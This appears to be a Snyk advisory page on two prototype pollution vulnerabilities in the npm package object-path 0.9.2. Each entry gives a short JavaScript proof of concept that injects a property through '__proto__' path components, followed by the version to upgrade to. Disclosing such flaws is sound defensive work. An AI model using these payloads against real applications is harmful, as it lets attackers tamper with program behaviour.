object-path@0.9.2 vulnerabilities

Access deep object properties using a path

Direct Vulnerabilities

Known vulnerabilities in the object-path package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • M
Prototype Pollution

object-path is a package to access deep properties using a path

Affected versions of this package are vulnerable to Prototype Pollution. A type confusion vulnerability can lead to a bypass of CVE-2020-15256 when the path components used in the path parameter are arrays. In particular, the condition currentPath === '__proto__' returns false if currentPath is ['__proto__']. This is because the === operator returns always false when the type of the operands is different.

PoC

const objectPath = require('object-path');

objectPath.withInheritedProps.set({}, [['__proto__'], 'polluted'], 'yes');
console.log(polluted); // yes

How to fix Prototype Pollution?

Upgrade object-path to version 0.11.6 or higher.

<0.11.6
  • H
Prototype Pollution

object-path is a package to access deep properties using a path

Affected versions of this package are vulnerable to Prototype Pollution. The setPath function can be used to add/modify properties of the Object prototype.

PoC

const setPath = require('object-path-set');
const obj = {};
console.log("Before : " + obj.polluted);
setPath({}, '__proto__.polluted', 'yes');
console.log("After : " + obj.polluted);

How to fix Prototype Pollution?

Upgrade object-path to version 0.11.5 or higher.

<0.11.5